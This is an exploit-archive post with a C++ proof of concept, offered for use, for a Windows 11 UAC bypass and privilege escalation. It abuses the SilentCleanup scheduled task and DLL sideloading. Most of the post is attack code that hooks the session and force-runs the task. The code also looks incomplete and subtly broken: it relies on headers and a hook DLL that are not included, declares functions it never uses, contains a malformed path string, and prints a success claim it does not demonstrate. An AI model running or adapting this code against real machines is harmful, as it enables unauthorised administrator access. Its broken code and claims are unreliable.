=============================================================================================================================================
| # Title     : Microsoft Windows 11 build 10.0.22631.6199 Privilege Elevation Tool using Task Scheduler and DLL Sideloading                |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : System built‑in component. No standalone download available.                                                                |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212252/

[+] Summary : a C++ code snippet that implements a notorious Local Privilege Escalation (LPE) technique on Windows.
              The code implements a Task Scheduler/DLL Sideloading attack to achieve UAC Bypass/Privilege Escalation by forcing 
			  the trusted SilentCleanup task to load and execute an attacker-controlled DLL, requiring defense via Application Control (WDAC) and security monitoring to prevent execution path abuse.
[+]  POC :

#pragma comment(lib, "rpcrt4.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "pathcch.lib")
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
#pragma comment(lib, "comsuppw.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "advapi32.lib")

#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <string>
#include <sddl.h>
#include <pathcch.h>
#include <comdef.h>
#include <taskschd.h>
#include <rpc.h>
#include <rpcndr.h>

#include "service_h.h"
#include "RAi_Interface_h.h"
#include "ScopedHandle.h"

// -------------------------
// RPC allocation
// -------------------------
extern "C" void* __RPC_USER midl_user_allocate(size_t cBytes) { return malloc(cBytes); }
extern "C" void __RPC_USER midl_user_free(void* p) { free(p); }

// -------------------------
// Windows Debug Functions
// -------------------------
extern "C" void DbgUiSetThreadDebugObject(HANDLE DebugObject);
extern "C" NTSTATUS DbgUiStopDebugging(HANDLE Process);

// -------------------------
// Get Executable / DLL Paths
// -------------------------
static std::wstring GetExecutablePath() {
WCHAR path[MAX_PATH];
DWORD len = MAX_PATH;
if (!QueryFullProcessImageNameW(GetCurrentProcess(), 0, path, &len)) {
printf("Error querying process path: %lu\n", GetLastError());
throw 1;
}
return std::wstring(path);
}

static std::wstring GetDllPath() {
std::wstring exe = GetExecutablePath();
WCHAR path[MAX_PATH];
HRESULT hr = PathCchCombine(path, MAX_PATH, exe.c_str(), L"..\StartProcess.dll");
if (FAILED(hr)) {
printf("Error building DLL path: %08X\n", hr);
throw 1;
}
return std::wstring(path);
}

// -------------------------
// COM Initialization & Windows Hook
// -------------------------
__declspec(dllimport) bool SetupHook();
__declspec(dllimport) bool RemoveHook();

class CoInit {
public:
CoInit() {
HRESULT hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED);
if (FAILED(hr)) { printf("Error initializing COM: %08X\n", hr); throw 1; }

```
    hr = CoInitializeSecurity(
        nullptr,
        -1,
        nullptr,
        nullptr,
        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
        RPC_C_IMP_LEVEL_IMPERSONATE,
        nullptr,
        EOAC_NONE,
        nullptr
    );
    if (FAILED(hr)) { printf("Error initializing COM security: %08X\n", hr); CoUninitialize(); throw 1; }
}
~CoInit() { CoUninitialize(); }
```

};

class WindowsHooker {
public:
WindowsHooker() { if (!SetupHook()) { printf("Error setting up windows hook\n"); throw 1; } }
~WindowsHooker() { RemoveHook(); }
};

// -------------------------
// Task Scheduler Elevation
// -------------------------
_COM_SMARTPTR_TYPEDEF(ITaskService, IID_ITaskService);
_COM_SMARTPTR_TYPEDEF(ITaskFolder, IID_ITaskFolder);
_COM_SMARTPTR_TYPEDEF(IRegisteredTask, IID_IRegisteredTask);
_COM_SMARTPTR_TYPEDEF(IRunningTask, IID_IRunningTask);

static void ElevateToAdmin() {
CoInit ci;
WindowsHooker hooker;

```
ITaskServicePtr pService;
HRESULT hr = CoCreateInstance(CLSID_TaskScheduler, nullptr, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&pService));
if (FAILED(hr)) { printf("Failed to create ITaskService: %08X\n", hr); return; }

hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
if (FAILED(hr)) { printf("ITaskService::Connect failed: %08X\n", hr); return; }

ITaskFolderPtr pRootFolder;
hr = pService->GetFolder(_bstr_t(L"\\Microsoft\\Windows\\DiskCleanup"), &pRootFolder);
if (FAILED(hr)) { printf("Cannot get DiskCleanup folder: %08X\n", hr); return; }

IRegisteredTaskPtr task;
hr = pRootFolder->GetTask(_bstr_t(L"SilentCleanup"), &task);
if (FAILED(hr)) { printf("Cannot get SilentCleanup task: %08X\n", hr); return; }

IRunningTaskPtr running;
hr = task->RunEx(
    _variant_t(),                             // Parameters (none)
    TASK_RUN_IGNORE_CONSTRAINTS,              // Run even if conditions fail
    -1,                                       // Reserved
    nullptr,                                  // Reserved
    &running
);
if (FAILED(hr)) { printf("SilentCleanup RunEx failed: %08X\n", hr); return; }

printf("SilentCleanup executed successfully with elevation.\n");

int count = 0;
while (count < 10) {
    Sleep(500);
    TASK_STATE state;
    hr = task->get_State(&state);
    if (FAILED(hr)) { printf("Failed to get SilentCleanup task state: %08X\n", hr); return; }
    if (state != TASK_STATE_RUNNING) break;
    count++;
}
```

}

// -------------------------
// Main
// -------------------------
int wmain(int argc, wchar_t** argv) {
try {
if (argc > 1) {
ElevateToAdmin();
} else {
printf("No arguments provided, skipping ElevateToHighIL.\n");
}
}
catch (...) {
printf("An exception occurred.\n");
}
return 0;
}



Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================